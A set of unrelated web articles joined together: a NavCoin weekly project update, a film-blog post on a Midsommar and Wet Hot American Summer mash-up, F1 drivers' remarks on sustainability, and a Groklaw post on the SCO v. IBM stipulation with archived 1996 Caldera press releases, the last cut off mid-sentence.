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After some recent service disruption, all the major exchanges have resumed NAV deposits and withdrawals, a Ledger integration is underway and the NavDroid debian package is nearing completion. Exchanges Resume NAV Deposits & Withdrawals After some weeks of having their NAV wallets in maintenance mode, all the major NAV exchanges are now open for deposits and withdrawals again. The network issue which caused the outage was resolved in NavCoin Core 4.6.0 which was released on the 7th of May. It took all of the exchanges some time to test the wallet and restore the service but we are happy to say that they are now functioning nominally again. Binance had an additional delay due to the system wide hack they suffered, but they have now also resumed their service. A lot of the instant exchanges which trade NAV are linked to Binance, Bittrex, Poloniex or LiteBit to fill orders behind the scenes. When these liquid exchanges disable deposits for a coin, often the instant exchanges automatically halt trading also. These instant order services should now also be available again. https://navcoin.org/en/buy-navcoin Ledger Nano Integration Started NavCoin Core Contributor mxaddict is proving to be a valuable asset to the NavCoin Development Community. As well as his recent efforts contributing to NavCoin Core and claiming developer bounties, he has started work on a Ledger Nano integration for NavCoin. So far mxaddict has the basic BOLOS App for NAV working on the ledger firmware. Pull Requests for the BOLOS app have been submitted to the Ledger GitHub repository and is now awaiting feedback, review and integration. The next steps are to configure an interface to the ledger device. There are a few options to consider; Ledger Live, NavPay or NavCoin Core. All three can eventually have ledger interfaces added and a decision about which one to do first will depend on which one can be done the fastest after some ongoing investigation is completed. At this point it is not certain how long the interface integration will take or when NAV will be available for public use on the Ledger devices. We do understand that hardware support is an important part of the NavCoin eco-system, especially with cold staking now available. Storing your cold staking spending keys on a secure hardware wallet like the Ledger would be the simplest and most secure way to store your NAV while you stake. Join the NavCoin Discord and keep an eye on the weekly report to stay up to date with progress on the Ledger integration project. https://discord.gg/y4Vu9jw NavDroid Package Nearing Completion NavCoin Community Developers mntyfrsh and caffeine have been working together to refine the NavDroid interface and bundle it into a debian package for distribution. When the debian package is released the NavDroid software will be able to be easily installed on x86 Ubuntu based platforms as well as ARM for ODroid. Other advantages of releasing it as a debian package are that you won’t need to download and flash the whole SD card to get the software working and you can install it onto an existing system without needing to do a lot of environment configuration. The NavDroid project is still looking for front end web developers and testers to help refine the software and test it out before launch. If you want to get involved and be a part of this awesome open source project, join the NavCoin Discord channel #dev-navdroid and say hi. https://discord.gg/y4Vu9jw NavCoin Core Progress Report NavCoin Core has been a hive of activity since the launch of the developer bounty program. There are currently 47 open issues and 10 open pull requests with 4 pull requests merged to master within the last week and a total of 11 pull requests merged to master since the release of 4.6.0 just over two weeks ago. Some of the notable additions are the OP_POOL script which will be used to denote coinbase transactions mined by the NavPool service as a way to monitor its network influence as well as improvements to the importaddress command so it watches cold staking addresses correctly. To check out everything that’s being worked on head on over to the NavCoin Core GitHub repository and take a look at the Issues and Pull Requests tabs. There’s still plenty of issues with developer bounties assigned if you want to earn some NAV and contribute to NavCoin Core. All you have to do is claim an issue or if you find a feature or bug you want to work on then write your own issue and request a bounty assessment from aguycalled. https://github.com/navcoin/navcoin-core Community Privacy Vote Concludes With the recent issues discovered in the Zerocoin protocol, the NavCoin Community initiated a sentiment vote on whether it was better to have transaction amounts cryptographically hidden or remain able to be audited. The ZeroCT protocol as defined in its whitepaper would make the amounts cryptographically hidden to provide stronger anonymity. Some community members are concerned at the lack of auditability hiding the amount creates and fear that even though the cryptography i sound, the implementation could introduce inflation bugs. The vote was conducted by creating two community fund proposals, one to vote YES if you think the amount should be cryptographically hidden to provide more complete privacy and another to vote YES if you think the amount should be visible to retain auditability. The vote has been close with the proposal to keep the amounts auditable closing with 52% YES votes on its first voting cycle. The proposal to cryptographically hide the amounts is still open. It’s quite a close race and so far there is no supermajority agreement either way. In NavCoin soft forks to change the consensus require 75% agreement which can be challenging if the issue is divisive. Either way, ZeroCT will need to redesigned to eliminate the issue found in the Zerocoin protocol since that part is not related to hiding the transaction amounts. Once a new solution is found, one option could be to deploy the privacy implementation in two soft forks; one with the senders/receivers hidden and an additional soft fork to hide the amounts and let the network decide. Depending on what solution is found will dictate whether this two staged approach is possible. For now, the privacy debate rages on. If you’d like to share your thoughts or work with the NavCoin Core Developers on NavCoin’s new privacy implementation join the NavCoin Discord server channel #privacy and #dev-zeroct and have your say. https://discord.gg/y4Vu9jw NavCoin Africa Meet-Up Some weeks ago Fuseini Alhassan — also known as cryptoeye — put forward a Community Fund proposal to sponsor a NavCoin Meet-Up and cryptocurrency education session at the Bolgantanga Technical University in Ghana. The proposal passed, cryptoeye received the funding and has since put on the event which was the first NavCoin meet-up to be held on the African continent. The meet-up was a success with a full class of 49 participants attending eager to learn about cryptocurrency and NavCoin. The attendees received airdrops of NavCoin so they could experience how fast and easy cryptocurrency is to use, NavCoin t-shirts and an education seminar on the benefits of cryptocurrencies and NavCoin. Ghana is the recipient of USD $2.2 Billion in remittances annually and Africa at large is a huge economy which is ripe to make use of such technologies as NavCoin. Having people on the ground in the region like cryptoeye to help educate people at the grassroots level is such an important part of helping Ghanians achieve financial autonomy. The Ghana meet-up marks the first NavCoin event to be sponsored by the decentralised community fund and is a great example of what can be achieved with the fund. It’s also an important stepping stone for blockchain events in the region and we look forward to seeing more education sessions from NavCoin Africa in the future. If you want to keep up to date with what cryptoeye is up to in Ghana and get involved, make sure you start following NavCoin Africa on twitter. https://twitter.com/NavcoinA New Exchange Listings NavCoin is now available on two new exchanges; CoinSwitch - https://coinswitch.co An instant exchange platform which supports over 300 currencies and simplifies the trading process. StakeCube - https://stakecube.net A proof of stake and masternode pooling service which also has exchange capability between the coins it supports. As with all new listings and services it is our duty to inform the community about them, but it can’t be considered an endorsement. It is always up to you to do your own due diligence before sending your NAV or other forms of money to any third party service. Community Fund Projects Update There is currently 100,000 NAV available in the community fund with 9 pending proposals and just 2 pending payment requests actively being voted on. There are five new proposals this week; All Eyes on Us, Online Marketing Campaign (25,500 NAV) Beekart wants to create banner advertisement campaigns and articles promoting NavCoin and run them across multiple cryptocurrency related websites. https://www.navexplorer.com/community-fund/proposal/fdac698fcddb49a4264d56f8e218fc9890fd3a1bd77ee6e4db883e52923b4dfe NavCoin Analysis Article (1,000 NAV) Natalie, a blockchain writer who wants to write and publish an analysis article about NavCoin. https://www.navexplorer.com/community-fund/proposal/a4b24b1db4363ed184bc2b84f0a9facb83cf5111158df39b3ba02ee6bc433e9b CryptoGo Video Marketing (60,000 NAV) CryptoGo wants to create professional promotional videos for NavCoin and publish them online. https://www.navexplorer.com/community-fund/proposal/a1560f30fbcee6d3dd80fb4489001e98b4da85e748cf1b23b92c407c3d2df3e1 Website Optimization and Hosting (3,896 NAV) Red010b37 to cover the hosting costs of the front end deployment of NavCoin’s public websites and optimize them to reduce the hosting costs. https://www.navexplorer.com/community-fund/proposal/7857cbd10c96d377b691203b985d83a3ff112d50eae159fc5db754995938dbe4 Investor Brochure (2,000 NAV) Igor Fridkins wants to create a slick looking brochure to explain the NavCoin project to new investors. https://www.navexplorer.com/community-fund/proposal/6c18c04795e0042d3361c747d7c33ecebb48856276c7fea90f3aa98cea2eff18 + More Existing Proposals To check out the full list of pending proposals and payment requests, visit the community fund page of the block explorer. https://www.navexplorer.com/community-fund And remember, anyone can submit a funding proposal which gets voted on by the network. To learn more about how the community fund works and kickstart your next crypto project, head on over to the NavCoin Community Fund page. https://navcoin.org/en/community-fund That’s all for this week. Don’t forget that you can receive the weekly report by email. If you would like to be added to the mailing list, please sign up here. And if you want your project included in the community news, jump on the NavCoin Discord and post it to the #weekly-update channel. The NavCoin Core team — — — Join the conversation NavCoin Discord \|NavCoin Reddit \|NavCoin Twitter \|NavCoin Facebook \| NavCoin Telegram \| NavCoin Bitcoin Talk Resources NavCoin Knowledge Base \| NavCoin YouTube \| NavCoin Core GitHub Learn more about NavCoin NavCoin Community Fund \| NavCoin Governance \|NavCoin Core Roadmap \| NavCoin Community Hub \| NavCoin Community Projects	{ "pile_set_name": "OpenWebText2" }
Look, we've been talking a lot about Ari Aster's Midsommar 'round these parts lately. Our old pal Phil dropped in to enlighten us on the film's similarities to The Texas Chain Saw Massacre. Just yesterday, Britt published a hell of an editorial breaking down the film's approach to trauma. Just this morning, we helped spread the word about A24's new "Bear in a Cage" toy (also Midsommar-related). Are we overdoing it? Perhaps a bit. But on the other hand, this summer has left us feeling more than a little starved for chewy moviegoing experiences (do any of y'all even remember Men in Black: International?), so you'll have to forgive us if we have a little fun with this one. All of that is a very long and unnecessary way of introducing you to the following clip, which we just spotted over on Twitter (shout-out to Daniel Danger for putting it in our feed). It's a mash-up clip combining Aster's Midsommar with David Wain's Wet Hot American Summer. I know some of you don't like the very idea of mash-up clips, but I submit to you that this is a fun one. Enjoy. Yes, YouTube user thatmattcaronguy has done something very special here, combining two of our favorite summer movies into one glorious package. Bravo. I never would've thought of it myself, but the footage from Wain's Wet Hot American Summer, particularly anything with the cabins in the background, slides very easily into Aster's footage of that terrifying Swedish village. Lord only knows what sort of evil hijinks Gene might be up to in this godforsaken alternate universe. OK, no more Midsommar posts today. Maybe. Probably.	{ "pile_set_name": "OpenWebText2" }
On Tuesday, F1 will announce a major new sustainability push, highlighting the often overlooked efficiency of the current hybrid engines and emphasising the sport’s move towards synthetic fuels in 2021 and beyond. Ferrari driver Vettel says that F1 can have a huge influence over people, and it has to take advantage of that position. “Formula 1 is a worldwide sport,” Vettel told Motorsport.com. “And a worldwide operating platform. So with all the facts that are available to us today, you cannot neglect what is happening in the world and ignore what is happening in the world. That would be just stupid. “So it is fair to ask opinions and so on, and obviously a lot of people are following F1 and are inspired by F1, and I think F1 should do a lot more when what we're currently doing to, you know, set a course for the future. “If you’re [of a] black and white [mindset] you say that it’s bad what we do for the environment, because we drive around in cars and we burn fuel. Obviously F1 has the opportunity to develop engine formulas, technologies and so on, that will help us, that will help mobility and transport in the future to make it more efficient, et cetera.” Vettel says that synthetic fuels are the way forward: “At the moment we have a very efficient engine, but it's questionable how much of that efficiency will find its way onto the road. So I think overall F1 does have a responsibility, and I think each one of us has a responsibility to lead, to lead by example, and that is why I feel we should do a lot more. “We should be the first ones and not just have the highest standards in terms of performance, in terms of cars, in terms of competition, racing, entertainment, but also set the highest standards in terms of thinking ahead and looking after our future, the planet's future, the future of the sport and all this. I think it is all linked. “Introducing synthetic fuels today rather than tomorrow, why not? It is possible. Our engines can run with it. We can do it. We have the engineering power, the manpower. Surely it is not easy, it is a challenge. But it’s not easy to find another 50 horsepower as well, and people are ready to invest a lot of money, so it shouldn't be the limitation. “If you look at the cars, I think we can make them more relevant, road relevant in terms of the technologies, that we have.” Vettel adds that grand prix organisers should also pay attention to waste, an element that will also be a key part of the new F1 initiative. “Outside of the cars, I think, we attract a lot of people at the race track, that come and see the race, support the race, support the drivers, the teams. A lot of TV fans, but it is a big event, every time when there is a big event and with a lot of people, you have a lot of waste. “People like to have a beer, people like to have a drink, of water, maybe something else. And usually all of these is distributed in plastic cups, plastic bottles, so we should stop that. We should find an alternative to give drinks to the people, but without plastics. “Have a plastic-free paddock. I mean, just a lot of ideas, and I think we would be able to find solutions, and again, we should be the first ones and not the last ones. It is my opinion.” Mercedes' F1 champion Lewis Hamilton, who has long made clear his position on environmental issues, has welcomed news of the sustainability initiative. “Hopefully you remember I’ve been talking about this stuff for some time now,” he said when asked by Motorsport.com. “There’s a bunch of things, I think it’s great that finally F1’s reacting. In general that’s what a lot of businesses are doing nowadays. “They said they were being sustainable by recycling some paper or something like that in their office, but it wasn’t a priority. It’s great to hear the new plans they have in place. Of course I’d be supportive of it. A lot of the impact I won’t be around for that, but I’d love to be a part of it, and help move the sport forwards.”	{ "pile_set_name": "OpenWebText2" }
SCO and IBM have reached a stipulation [PDF] on how to go forward on reactivating the Utah litigation, and SCO has filed it in Bankruptcy Court in Delaware. Assuming it's signed by the judge, the Hon. Kevin Gross, in time for the April 23rd hearing now scheduled in Utah District Court in Salt Lake City before the Hon. Dee Benson on SCO's laughable motion to let only it go ahead and IBM not, I'd say it's game on. They've agreed IBM can proceed with its defenses and counterclaims. It was IBM that suggested in its opposition to SCO's motion that the best way forward was to ask the Bankruptcy Court to lift the stay on both parties, which is what the stipulation agrees to. Update: The judge in Bankruptcy Court in Delaware has already signed the order approving the stipulation. Here's the meat of the stipulation about going forward in SCO v. IBM, emphasis added: The automatic stay imposed under section 362 of the Bankruptcy Code is modified to permit IBM (a) to defend the Utah Action and prosecute its Counterclaims against SCO and (b) to offset any judgment against it against any claim it may have against SCO; however, (i) the effect of clause (b) of this paragraph is limited solely to relief from the automatic stay; SCO shall preserve any and all defenses to setoff of any such claims that it may have, and all of IBMs claims to a right of setoff shall be preserved, and (ii) IBM shall not seek to enforce against SCO any judgment obtained in the Utah Action, except as provided in this Stipulation.... IBM shall not oppose the reopening of the Utah Action. However, all of IBMs other objections to, and all of SCOs arguments in support of, all other relief sought in the Motion to Reopen the Case are preserved, and nothing in this Stipulation shall be construed as supporting or waiving any such other objection or argument. And here's the docket entry on the stipulation: 02/16/2012 - 1395 - Certification of Counsel Regarding Stipulation and Order Modifying the Automatic Stay Filed by Edward N. Cahn, Chapter 11 Trustee for The SCO Group, Inc., et al.. (Attachments: # 1 Exhibit A) (Tarr, Stanley) (Entered: 02/16/2012) Here's the order: 02/16/2012 - 1396 - Order Granting Stipulation and Order Modifying The Automatic Stay (related document(s)1395) Order Signed on 2/16/2012. (Attachments: # 1 Exhibit 1) (SB) (Entered: 02/16/2012) SCO is waving the white flag on its crazy idea to let only SCO go forward. Judge Gross hasn't shown much interest in forcing SCO to pay anybody except its lawyers. But this has never, in my view, been about money for IBM. They want their good name unsullied by these people. And can you blame them? Here's what else IBM suggested in its opposition to SCO's motion that didn't happen in the stipulation, so it's what will likely be raised in Utah next: 39. In summary, IBM supports the expeditious resolution of this case. But the best way to bring that about is not to proceed piecemeal as to three of SCO' s claims, especially where, as here, those claims are intimately related to IBM's counterclaims, which remain stayed due to SCO's bankruptcy filing, and are barred by the Novell Judgment. We respectfully submit that the most sensible way to proceed here is for the Court to enter an order (i) providing that this case shall be reopened within 5 days of the filing of a notice (by any party) that the stay of IBM's counterclaims has been lifted, which SCO should be able to accomplish expeditiously; (ii) stating that the claims that SCO concedes are foreclosed by the Novell Judgment will be dismissed when the case is reopened; (iii) directing that, within 45 days of the reopening of the case, any party may make a motion for summary judgment addressing the impact of the Novell Judgment on all remaining claims; and (iv) ordering the parties jointly to submit, within 10 days of the entry of an order of the Court determining the impact of the Novell Judgment, a proposed scheduling order to govern the balance of the case. From SCO's point of view, it's all about Project Monterey. But IBM has a lot more it would like to talk about. Now it can. Well. On paper it's all about Project Monterey for SCO. But in reality, as far as I can tell, it's all about avoiding having to pay the piper for all the things SCO did. Of course, the Bankruptcy Court keeps its thumb on the ultimate money, if the outcome is against SCO, but that's unavoidable in that Delaware is apparently going to let SCO stay in Chapter 11 bankruptcy protection as long as it takes to get the litigation resolved. Besides, SCO doesn't have any money. They tossed it all to the winds, and lawyers and other professionals got it. In their December monthly operating report, filed in bankruptcy court, they say TSG has almost no assets left and debts up over their head: 02/10/2012 - 1393 - Debtor-In-Possession Monthly Operating Report for Filing Period as of 12/31/11 (In re TSG Group, Inc. (f/k/a The SCO Group, Inc.), et al.) Filed by TSG Group, Inc. (f/k/a The SCO Group, Inc.), et al.. (Tarr, Stanley) (Entered: 02/10/2012) 02/10/2012 - 1394 - Debtor-In-Possession Monthly Operating Report for Filing Period as of 12/31/11 (In re TSG Operations, Inc. (f/k/a SCO Operations, Inc.), et al.; Case No. 07-11338) Filed by TSG Group, Inc. (f/k/a The SCO Group, Inc.), et al.. (Tarr, Stanley) (Entered: 02/10/2012) The MOR for TSG shows total assets as $0 (yes, that's "zero"), down from $1,326,293 on petition date, and total liabilities of $1,119,238, up from $418,965 on petition date. The MOR for TSG Operations shows total assets as $1,515,129, down from $15,493,080 on petition date, and total liabilities of $9,739,295, up from $4,311,640 on petition date. Go SCO! It was not bankrupt when it entered bankruptcy protection, but it surely is now. I know some of you have wondered why SCO never entered Ch. 7. Maybe to keep Delaware control on the money outcome? You think? A lot can happen between now and April 23rd, so if you were planning to attend, and I know some of you were, note that you need to check in with Groklaw and/or the court before you set out that day to make sure it's still on. There are still the issues IBM raised about further motion practice, so the hearing may still go forward on that and any other issues. For those who can't even remember this motion, here's where you can go to refresh your memory: SCO's motion IBM's opposition SCO's reply If you read all three, you'll see the playbook of what each side hopes the litigation will be about and why each thinks it's right. Another Caldera Press Releas from 1996 While we are waiting, I found another 1996 Caldera press release I wanted to add to our collection, mainly for historians, because Caldera made some acquisitions that year to help them meld UNIX and Linux together to make Caldera OpenLinux. And I have the press release where Caldera announced the first product. One reason I wanted to stop doing Groklaw on a daily basis was so I could sort through all the materials I'd saved over the years, to make sure our record of this saga was as complete as I could make it. In the early days, I didn't know as much technically as I do now, and while I had saved a lot of things, I didn't necessarily know at the time what it meant, so I wanted to look through it all and see if I'd missed anything. We had earlier noted a Caldera press release from May 23, 1996. And it's still online on alt.os.linux.caldera, thanks to Google, which has preserved the old archives. Thank you, Google. In that press release, Caldera was announcing that it was acquiring some technologies that it hoped to use to achieve X/Open Unix certification for the version of Linux it would be developing, called Caldera OpenLinux. Here's the paragraph that especially caught my eye at the time, emphasis added: Caldera has also retained the UNIX systems and Linux expertise of engineers from Linux Support Team (LST) of Erlangen, Germany, who will spend the next few months integrating technologies from Lasermoon, Caldera's existing operating system, additional Single UNIX Specification APIs and Internet technologies, and LST's Linux 2.2 operating system, based on Linux 2.0 source code from the Internet. The resulting version of the Linux OS will be called Caldera Open Linux. It will be POSIX.1 (FIPS 151-2) certified, localized and fully compatible with Caldera's existing products. Now did you notice the Unix and Linux guys working together -- no Chinese wall -- to make it all work together, UNIX and Linux? Oh, and remember SCO alleging that Linux was just a toy until IBM got involved? That's part of its allegations against IBM in its complaint. Read the press release for the truth. It says Linux was second to Sun in World Wide Web servers, with 9% of that market in 1995, half a decade before SCO claims IBM got into the picture. Mr. Sparks: Linux technologies developed by the Internet community have secured market share and application development that rivals the best of established computer industry vendors. They followed through and later that year, on October 9th, they announced the availability of Caldera Open Linux, and I'll show you the full press release on that in a second, but look at this ironic bit: Caldera, Inc. designs, develops and markets a line of full-featured, economical system software for the Internet by the Internet, providing stable, high-quality alternatives to NT, Sun Solaris, and SCO UNIX. Ah, the sweet smell of truth. Alternatives. Caldera wanted people to switch from SCO UNIX to Linux, and it worked hard to make it happen. Now they want to sue IBM because it did happen. If you recall, SCO told the IBM judge back in 2007 the following: 19. Contrary to IBM assertions at paragraph 50 of the Motion, and elsewhere, SCO did not encourage its partners or its customers to use or support Linux instead of Unix. Rather, SCO consistently positioned Linux as a complementary solution to UNIX, and something that could be used in addition to (not in place of) UNIX. That's SCO pretending it was Santa Cruz Operation, not Caldera, but that's just SCO's inner voices. The point is, IBM didn't interfere with SCO's UNIX business by encouraging Linux adoption. Caldera did that. So TSG should sue itself. And speaking of truth, note this paragraph: Certification Currently, Caldera is working with the Linux community in making COL compliant and certified with industry standards like POSIX.1 (FIPS 151-2), Single UNIX Specification APIs and X-Open branding. These additions will be in future releases of COL stratified products when the enhancements have been integrated by key Linux developers. All of the work for standards compliance will be freely contributed back to the Linux community. First they induce you. Then they sue you. Not exactly. They got a new CEO in 2002 and a new business plan. Here's the full press release, for history: CALDERA ANNOUNCES NEW CALDERA OPENLINUX (COL) PLATFORM AND THREE-TIER PRODUCT STRATEGY New Technology and Stratified Products to Ship in 4th Quarter 1996 and Throughout 1997 Provo, UT October 9, 1996 Caldera Inc. today announced the development and implementation of Caldera OpenLinux (COL), a new 32-bit, Linux 2.x-based platform for extending local area networks (LANs) to the home, branch office, remote user, Inter/intranet and embedded systems. To extend the LANs in an economical and easily managed way, COL technology will be offered in three product stratifications; base, workstation and server. Caldera the leader in commercial Linux-based system software debuted COL this week at UNIX Expo in New York. "Caldera first met customer demand for commercial Linux solutions by combining Linux technologies with enterprise standards like NetWare and Netscape Navigator ," said Ransom Love, vice president of marketing and sales for Caldera. "From the best of these and other technologies have evolved the Caldera OpenLinux platform and stratified products. Caldera product offerings will now be based on the COL platform with complete stratified solutions for workgroup and network/server environments." The secure, peer-to-peer COL platform first evolved from the synthesis of Caldera's existing Linux-based technologies and those acquired from Lasermoon of Wickham, England, pioneers of the Linux migration towards X/Open standards and other certifications. The efforts of the Linux System Technologies (LST) of Erlangen, Germany, completed the evolution of COL by integrating the Caldera and Lasermoon technologies with additional Internet technologies and LST's Linux 2.x-based products. COL is the official upgrade path for Lasermoon customers. Certification Currently, Caldera is working with the Linux community in making COL compliant and certified with industry standards like POSIX.1 (FIPS 151-2), Single UNIX Specification APIs and X-Open branding. These additions will be in future releases of COL stratified products when the enhancements have been integrated by key Linux developers. All of the work for standards compliance will be freely contributed back to the Linux community. Languages Caldera is committed to providing products for the global Linux market. COL stratified products will ship with an installation localized into English and German. Additional components of the product will be localized into English, French, German and Spanish. Caldera also plans product localization for the Japanese and Chinese markets. COL base The COL base product includes the following: - Linux 2.x (multi-tasking, multi-user, 32-bit kernel with firewall facilities and comprehensive system utilities open source code included on CD-ROM) - LookingGlass (graphical user interface with icon bar, drag and drop, comprehensive file typing and user-defined configuration, etc.) - Netscape Navigator 2.02 (the widely popular client software for enterprise networks and the Internet) - X-Inside 1.3 (accelerated X-Window system with more than 400 graphical drivers) - CrispLite (powerful, graphical text editor) - Caldera Solutions CD (fee-based, commercial, Linux-based software applications from Caldera and other industry leaders) ...and other technologies The COL base product provides Linux users and first time UNIX buyers with a comprehensive UNIX system that can run on Intel-based PCs including laptops with 16 MB of RAM. COL will be made available to hardware and software OEMs, Channel Partners and be the industry- standard platform for ISVs porting applications to Linux. The Caldera Solutions CD allows resellers and Linux users to purchase and install from the CD-ROM Linux-based software applications to facilitate the creation of customized solutions. COL workstation Plans for the COL workstation product include: - COL base product (Linux 2.x, LookingGlass, X-Inside 1.3 and CrispLite, etc.) - Netscape Navigator 3.0 Gold (Java , news reader and authoring tools) - NetWare Client and NetWare Administration Enhancements (Increased and enhanced NDS, bindery and print administration utility. Enhanced GUI desktop utilities, tightly integrated with the Looking Glass desktop.) - Market-leading, commercial, secure, web server (a complete solution for creating and managing web sites plus, the development and deployment of live, network-centric, media-rich applications for the Inter/intranet) - Caldera Solutions CD ...and other technologies COL workstation is the Inter/intranet workstation solution providing client and server capabilities for NetWare, UNIX and Windows NT in conjunction with full Inter/intranet, authoring, publishing and browsing capabilities. All services on the local network may be extended down-the-hall, to-the-home or around the world across a high-speed connection by simply adding a frame relay or ISDN commodity card to Intel-based PCs. COL workstation is the second-generation solution for Caldera Network Desktop (CND) customers and replaces CND. COL server - COL workstation product (Linux 2.x, Netscape Navigator 3.0 Gold, NetWare Client Enhancements, commercial, secure, web server etc.) - Novell Cross Platform Services (NCPS) (includes license for Novell Directory Services (NDS) and five-user NetWare File and Print ) - Caldera Solutions CD - Novell GroupWise (Caldera has contracted to include a five-user license) ...and other technologies The COL server is designed for the workgroup and small office environments that need to fully utilize all systems. The COL server combines a complete applications server with all necessary Inter/intranet technologies enabling an organization to publish and interoperate with the Internet in a secure fashion. The COL server complements all NetWare, UNIX and Windows NT environments. Future Development and Internet/Linux Community Funding Caldera will continue to collaborate with developers in the Internet and Linux communities to develop and refine technologies that add the specific functionality requested by Caldera's customers. In addition, Caldera will provide a percentage of net revenues from COL-based products back to the Internet and Linux communities through funding for future technology development. Customer Support Support for the COL base product will be Internet-based, using the WWW and FTP. In addition to the Internet-based support, support for the workstation and server products will include free thirty-day installation support as well as fee-based, per incident support calls. Pricing The COL base product is scheduled to ship in November, 1996 for a suggested retail price of $59 US. The COL workstation product will ship for a suggested retail price of less than $300 US. The COL server product will ship for a suggested retail price of less than $1500 US. Promotions and Upgrades Until December 31, 1996, current registered CND users and those who purchase and register CND between now and December 31, or while supplies last, may purchase COL workstation for $59 US. The COL base product is not an upgrade to CND. Users of the COL base product will be provided an upgrade to both COL workstation and COL server when these products ship. Until December 31, 1996, current users of any Linux operating system (WGS LinuxPro, Red Hat, Slackware, Yggdrasil Plug and Play Linux, etc.) may upgrade to the COL base product for $45 US. Proof of usage may be presented to any Caldera Channel Partner or Caldera, Inc. Caldera, Inc. designs, develops and markets a line of full-featured, economical system software for the Internet by the Internet, providing stable, high-quality alternatives to NT, Sun Solaris, and SCO UNIX. Caldera uses it own technological and marketing resources to leverage technologies including the Linux operating system created by independent developers worldwide. Visit the Caldera web site at http://www.caldera.com/. ### Caldera is a registered trademark; and Caldera OpenLinux, Caldera Network Desktop, Caldera Solutions CD and Caldera OpenDOS are trademarks of Caldera, Inc. UNIX is a registered trademark, in the United States and other countries, licensed exclusively through X/OPEN Company Limited. Netscape Communications, the Netscape Communications logo, Netscape and Netscape Navigator are trademarks of Netscape Communications Corporation. All other products, services, companies and publications are trademarks or registered trademarks of their respective owners. Caldera Press Contacts: Lyle Ball lyle.b...@caldera.com Tel: [redacted] Nancy Pomeroy na...@caldera.com Tel: [redacted] Here's the entire press release, the one dated May 23, 1996 and published on alt.os.linux.caldera on May 26, 1996, posted by Rick Lindsay, that I want to include in our records, just in case. It's been eye-opening to see how much of the SCO saga is no longer where it was on the Internet, and how much has simply disappeared. That's why we do Groklaw: FOR IMMEDIATE RELEASE May 23, 1996 CALDERA OPEN LINUX PRODUCT TO OBTAIN POSIX AND FIPS CERTIFICATIONS, AND THE X/OPEN BRAND FOR UNIX 95 AND XPG4 BASE 95 Lightweight Directory Access Protocol (LDAP) and localization added to Caldera's product line LINUX KONGRESS, BERLIN, Germany May 23, 1996 - Caldera, Inc. today announced that it has acquired additional key Linux technologies and engineers, enabling the company to achieve the X/Open brand for UNIX 95 and other certifications for its next version of the Linux operating system, Caldera Open Linux, upon which Caldera will base its product line beginning this Fall. Caldera believes the X/Open brand and other certifications are the next steps forward in providing the corporate and government markets with proven Linux technologies and products, which have gained substantial market share among the Internet and development communities during the past several years. Caldera also today announced plans to add LDAP technologies to Caldera's product line. "By developing and publishing source code over the Internet, Caldera and the Linux community are changing the way that an X/Open branded UNIX 95 operating system is developed and distributed," said Bryan Sparks, President and CEO of Caldera, Inc. "Linux technologies developed by the Internet community have secured market share and application development that rivals the best of established computer industry vendors. Caldera development and infrastructure efforts will now take Linux technologies and products into companies, governments and other organizations that demand that software undergo rigid standards testing and certifications." Caldera has acquired additional Linux technologies from Lasermoon of Wickham, England. Lasermoon pioneered Linux's migration towards X/Open standards and other certifications, and held the necessary test suites and membership in The Open Group, the leading consortium for the advancement of open systems. Ian Nandhra, one of Lasermoon's co-founders, is now Caldera's Director of Product Certification. Caldera has also retained the UNIX systems and Linux expertise of engineers from Linux Support Team (LST) of Erlangen, Germany, who will spend the next few months integrating technologies from Lasermoon, Caldera's existing operating system, additional Single UNIX Specification APIs and Internet technologies, and LST's Linux 2.2 operating system, based on Linux 2.0 source code from the Internet. The resulting version of the Linux OS will be called Caldera Open Linux. It will be POSIX.1 (FIPS 151-2) certified, localized and fully compatible with Caldera's existing products. Caldera Open Linux, scheduled for release in Q3 1996, will be published freely with full source code via the Internet to individuals and organizations seeking stable, UNIX systems solutions. Caldera plans to achieve: POSIX.1 (FIPS 151-2) in Q3 1996; XPG4 Base 95 (POSIX.2, FIPS 186) by Q4 1996; and X/Open brand for UNIX 95 based on the Single UNIX Specification (formerly known as SPEC 1170) during 1997. "The Open Group is very pleased that Caldera has chosen to obtain the X/Open brand for UNIX 95 for its version of the Linux operating system," said Graham Bird, Director of Branding for the Open Group. "Once Caldera Open Linux achieves the X/Open brand, it will be qualified to bid business in the open systems market the value of which exceeds $16 billion in procurement of X/Open branded products alone." Ransom Love, Vice President of Marketing and Sales for Caldera, added,"Our customers are pleased with the capabilities of Caldera's first product, the Caldera Network Desktop, and are now asking us to provide the X/Open brand, localization, and additional technologies. Caldera Open Linux will provide this additional functionality and certification capabilities that no existing Linux OS version can provide." Caldera made this announcement from Linux Kongress in Berlin, Germany, where the core of Linux developers and vendors worldwide meet each year to discuss accomplishments and future plans for Linux technologies. At Linux Kongress, Caldera planned to meet with key Linux developers and vendors to discuss how Caldera can best meet the needs of the Internet community, Linux developers and enthusiasts, and the commercial computer industry market all of which are seeking to lower computing costs while increasing the functionality and availability of customizable software systems. Caldera will collaborate with developers in the Internet and Linux communities to develop and refine technologies that add specific functionality that Caldera's customers are requesting. In addition to publishing the source code for Caldera Open Linux, Caldera will provide a significant percentage of net revenues from the product back to the Internet and Linux communities through funding for future technology development. Caldera is also collaborating with mainstream industry software vendors (ISVs) who are porting their products to Caldera's platform. Caldera and its partners are delivering products that provide Internet and UNIX systems capabilities at commodity pricing. LDAP Caldera also today announced plans to release Lightweight Directory Access Protocol (LDAP) services and incorporate LDAP into Caldera's product line this Fall. LDAP creates a standard way for Internet clients, Web servers and applications to access directory listings of thousands of Internet users. "Caldera supports LDAP as a proposed open standard for directory services on the Internet," said Sparks. "LDAP will enable Caldera's customers to access online directory services via the TCP/IP network protocol." Caldera Europe Currently, Caldera's European business is handled by LunetIX based in Berlin, Germany. This Fall, Caldera will create Caldera Europe, comprised of employees from both LunetIX and LST. European customers and resellers seeking additional information about Caldera should contact LunetIX in Berlin at telephone number +49-30-623-5787 or contact Caldera's Provo, Utah-based headquarters. The Caldera Linux Operating System Caldera's mission includes creating the products, alliances, VAR channel, ISV channel, technical support programs and corporate accountability necessary for an emerging technology to obtain widespread implementation in the business environment. Using Linux technologies, Caldera has a solid start. Mirai, a Chicago-based consulting company, polled Webmasters worldwide in 1995 and found that nine percent of World Wide Web servers were running on the Linux operating system (http://www.mirai.com/survey). This places Linux second only to Sun technologies as a UNIX systems Web server platform. Caldera has created a solid foundation on which third party developers can successfully design, develop, distribute or employ services that meet the needs of the expanding market with low product costs for consumers. Caldera, Inc., a privately held company established in 1994, empowers the Internet community, developers, OEMs, channel partners, ISVs, industry partners, consultants and end- users to collaborate, innovate, build and deliver meaningful computing alternatives based on Linux to the business community. Caldera is at http://www.caldera.com/ or (801) 229-1675. For orders and information call (800) 850-7779 in the 